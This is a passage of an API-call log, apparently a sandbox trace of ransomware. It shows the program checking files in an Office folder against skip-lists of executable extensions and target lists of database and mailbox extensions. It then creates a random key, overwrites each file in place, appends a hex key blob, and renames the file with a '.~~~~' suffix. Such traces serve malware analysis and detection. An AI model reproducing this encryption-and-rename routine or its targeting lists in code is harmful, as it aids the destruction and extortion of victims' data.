	[0141.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".lnk") returned 0x0
	[0141.909] lstrlenW (lpString=".msp") returned 4
	[0141.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".msp") returned 0x0
	[0141.910] lstrlenW (lpString=".pif") returned 4
	[0141.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".pif") returned 0x0
	[0141.910] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0141.911] lstrlenW (lpString=".sqb") returned 4
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".sqb") returned 0x0
	[0141.912] lstrlenW (lpString=".ost") returned 4
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".ost") returned 0x0
	[0141.912] lstrlenW (lpString=".txt") returned 4
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".txt") returned 0x0
	[0141.912] lstrlenW (lpString=".mdt") returned 4
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".mdt") returned 0x0
	[0141.912] lstrlenW (lpString=".BDB") returned 4
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".BDB") returned 0x0
	[0141.912] lstrlenW (lpString=".eql") returned 4
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".eql") returned 0x0
	[0141.912] lstrlenW (lpString=".DBF") returned 4
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".DBF") returned 0x0
	[0141.912] lstrlenW (lpString=".EQL") returned 4
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".EQL") returned 0x0
	[0141.912] lstrlenW (lpString=".FDB") returned 4
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".FDB") returned 0x0
	[0141.912] lstrlenW (lpString=".EDB") returned 4
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".EDB") returned 0x0
	[0141.912] lstrlenW (lpString=".DACPAC") returned 7
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.912] lstrlenW (lpString=".VHD") returned 4
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".VHD") returned 0x0
	[0141.912] lstrlenW (lpString=".DBV") returned 4
	[0141.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".DBV") returned 0x0
	[0141.912] lstrlenW (lpString=".dacpac") returned 7
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".dacpac") returned 0x0
	[0141.913] lstrlenW (lpString=".sdf") returned 4
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".sdf") returned 0x0
	[0141.913] lstrlenW (lpString=".accdb") returned 6
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".accdb") returned 0x0
	[0141.913] lstrlenW (lpString=".DBX") returned 4
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".DBX") returned 0x0
	[0141.913] lstrlenW (lpString=".MDT") returned 4
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".MDT") returned 0x0
	[0141.913] lstrlenW (lpString=".SQB") returned 4
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".SQB") returned 0x0
	[0141.913] lstrlenW (lpString=".vhd") returned 4
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".vhd") returned 0x0
	[0141.913] lstrlenW (lpString=".bac") returned 4
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".bac") returned 0x0
	[0141.913] lstrlenW (lpString=".mdf") returned 4
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".mdf") returned 0x0
	[0141.913] lstrlenW (lpString=".BAK") returned 4
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".BAK") returned 0x0
	[0141.913] lstrlenW (lpString=".BAC") returned 4
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".BAC") returned 0x0
	[0141.913] lstrlenW (lpString=".dbs") returned 4
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".dbs") returned 0x0
	[0141.913] lstrlenW (lpString=".vhdx") returned 5
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".vhdx") returned 0x0
	[0141.913] lstrlenW (lpString=".NDF") returned 4
	[0141.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".NDF") returned 0x0
	[0141.914] lstrlenW (lpString=".dat") returned 4
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".dat") returned 0x0
	[0141.914] lstrlenW (lpString=".DBS") returned 4
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".DBS") returned 0x0
	[0141.914] lstrlenW (lpString=".CKP") returned 4
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".CKP") returned 0x0
	[0141.914] lstrlenW (lpString=".edb") returned 4
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".edb") returned 0x0
	[0141.914] lstrlenW (lpString=".PST") returned 4
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".PST") returned 0x0
	[0141.914] lstrlenW (lpString=".dbf") returned 4
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".dbf") returned 0x0
	[0141.914] lstrlenW (lpString=".SQL") returned 4
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".SQL") returned 0x0
	[0141.914] lstrlenW (lpString=".pst") returned 4
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".pst") returned 0x0
	[0141.914] lstrlenW (lpString=".dbv") returned 4
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".dbv") returned 0x0
	[0141.914] lstrlenW (lpString=".SDF") returned 4
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".SDF") returned 0x0
	[0141.914] lstrlenW (lpString=".dtxs") returned 5
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".dtxs") returned 0x0
	[0141.914] lstrlenW (lpString=".db3") returned 4
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".db3") returned 0x0
	[0141.914] lstrlenW (lpString=".OST") returned 4
	[0141.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".OST") returned 0x0
	[0141.914] lstrlenW (lpString=".dbx") returned 4
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".dbx") returned 0x0
	[0141.915] lstrlenW (lpString=".DB3") returned 4
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".DB3") returned 0x0
	[0141.915] lstrlenW (lpString=".DAT") returned 4
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".DAT") returned 0x0
	[0141.915] lstrlenW (lpString=".VHDX") returned 5
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".VHDX") returned 0x0
	[0141.915] lstrlenW (lpString=".ndf") returned 4
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".ndf") returned 0x0
	[0141.915] lstrlenW (lpString=".DB") returned 3
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".DB") returned 0x0
	[0141.915] lstrlenW (lpString=".sql") returned 4
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".sql") returned 0x0
	[0141.915] lstrlenW (lpString=".MYD") returned 4
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".MYD") returned 0x0
	[0141.915] lstrlenW (lpString=".DBT") returned 4
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".DBT") returned 0x0
	[0141.915] lstrlenW (lpString=".ACCDB") returned 6
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.915] lstrlenW (lpString=".fdb") returned 4
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".fdb") returned 0x0
	[0141.915] lstrlenW (lpString=".bak") returned 4
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".bak") returned 0x0
	[0141.915] lstrlenW (lpString=".myd") returned 4
	[0141.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".myd") returned 0x0
	[0141.916] lstrlenW (lpString=".DTXS") returned 5
	[0141.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".DTXS") returned 0x0
	[0141.916] lstrlenW (lpString=".ckp") returned 4
	[0141.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".ckp") returned 0x0
	[0141.916] lstrlenW (lpString=".dbt") returned 4
	[0141.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".dbt") returned 0x0
	[0141.916] lstrlenW (lpString=".db") returned 3
	[0141.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".db") returned 0x0
	[0141.916] lstrlenW (lpString=".TXT") returned 4
	[0141.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".TXT") returned 0x0
	[0141.916] lstrlenW (lpString=".MDF") returned 4
	[0141.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".MDF") returned 0x0
	[0141.916] lstrlenW (lpString=".bdb") returned 4
	[0141.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".bdb") returned 0x0
	[0141.916] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0141.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0141.916] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0141.918] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0141.918] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0141.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0141.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0141.918] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26190800624) returned 1
	[0141.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbdfe1750, dwHighDateTime=0x1d60e1e)) 
	[0141.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0141.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0141.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0141.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a36b8
	[0141.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a36b8 | out: hHeap=0x300000) returned 1
	[0141.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cf1f0
	[0141.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b9a8
	[0141.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf1f0 | out: hHeap=0x300000) returned 1
	[0141.919] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0141.919] GetLastError () returned 0x0
	[0141.919] GetLastError () returned 0x0
	[0141.919] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0141.919] GetLastError () returned 0x0
	[0141.920] GetLastError () returned 0x0
	[0141.920] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x2a01, lpOverlapped=0x0) returned 1
	[0141.926] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffd5ff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.926] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2a01, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x2a01, lpOverlapped=0x0) returned 1
	[0141.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.926] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.926] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.927] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.927] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.927] CloseHandle (hObject=0x104) returned 1
	[0141.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0141.927] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4b.gif.~~~~")) returned 1
	[0141.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf1f0 | out: hHeap=0x300000) returned 1
	[0141.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0141.930] GetLastError () returned 0x0
	[0141.930] RtlWakeConditionVariable () returned 0x0
	[0141.930] GetCurrentThreadId () returned 0x3a4
	[0141.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".scr") returned 0x0
	[0141.930] lstrlenW (lpString=".cmd") returned 4
	[0141.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".cmd") returned 0x0
	[0141.930] lstrlenW (lpString=".dll") returned 4
	[0141.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".dll") returned 0x0
	[0141.930] lstrlenW (lpString=".bat") returned 4
	[0141.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".bat") returned 0x0
	[0141.930] lstrlenW (lpString=".cpl") returned 4
	[0141.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".cpl") returned 0x0
	[0141.931] lstrlenW (lpString=".sys") returned 4
	[0141.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".sys") returned 0x0
	[0141.931] lstrlenW (lpString=".msc") returned 4
	[0141.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".msc") returned 0x0
	[0141.931] lstrlenW (lpString=".com") returned 4
	[0141.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".com") returned 0x0
	[0141.931] lstrlenW (lpString=".lnk") returned 4
	[0141.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".lnk") returned 0x0
	[0141.931] lstrlenW (lpString=".msp") returned 4
	[0141.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".msp") returned 0x0
	[0141.931] lstrlenW (lpString=".pif") returned 4
	[0141.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".pif") returned 0x0
	[0141.931] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0141.933] lstrlenW (lpString=".sqb") returned 4
	[0141.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".sqb") returned 0x0
	[0141.933] lstrlenW (lpString=".ost") returned 4
	[0141.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".ost") returned 0x0
	[0141.933] lstrlenW (lpString=".txt") returned 4
	[0141.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".txt") returned 0x0
	[0141.933] lstrlenW (lpString=".mdt") returned 4
	[0141.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".mdt") returned 0x0
	[0141.933] lstrlenW (lpString=".BDB") returned 4
	[0141.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".BDB") returned 0x0
	[0141.933] lstrlenW (lpString=".eql") returned 4
	[0141.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".eql") returned 0x0
	[0141.933] lstrlenW (lpString=".DBF") returned 4
	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".DBF") returned 0x0
	[0141.934] lstrlenW (lpString=".EQL") returned 4
	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".EQL") returned 0x0
	[0141.934] lstrlenW (lpString=".FDB") returned 4
	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".FDB") returned 0x0
	[0141.934] lstrlenW (lpString=".EDB") returned 4
	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".EDB") returned 0x0
	[0141.934] lstrlenW (lpString=".DACPAC") returned 7
	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.934] lstrlenW (lpString=".VHD") returned 4
	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".VHD") returned 0x0
	[0141.934] lstrlenW (lpString=".DBV") returned 4
	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".DBV") returned 0x0
	[0141.934] lstrlenW (lpString=".dacpac") returned 7
	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.934] lstrlenW (lpString=".sdf") returned 4
